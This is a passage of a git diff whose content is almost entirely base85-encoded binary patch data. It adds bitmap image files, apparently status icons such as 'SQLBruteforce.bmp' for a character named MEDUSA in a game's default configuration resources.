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 Ne~R@Z{n*Ot{{i&YIi3Ij literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/SQLBruteforce/SQLBruteforce.bmp new file mode 100644 index 0000000000000000000000000000000000000000..9db4d231ae8a801ed51a6f7bdd88453d55a4c36e GIT binary patch literal 2406 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 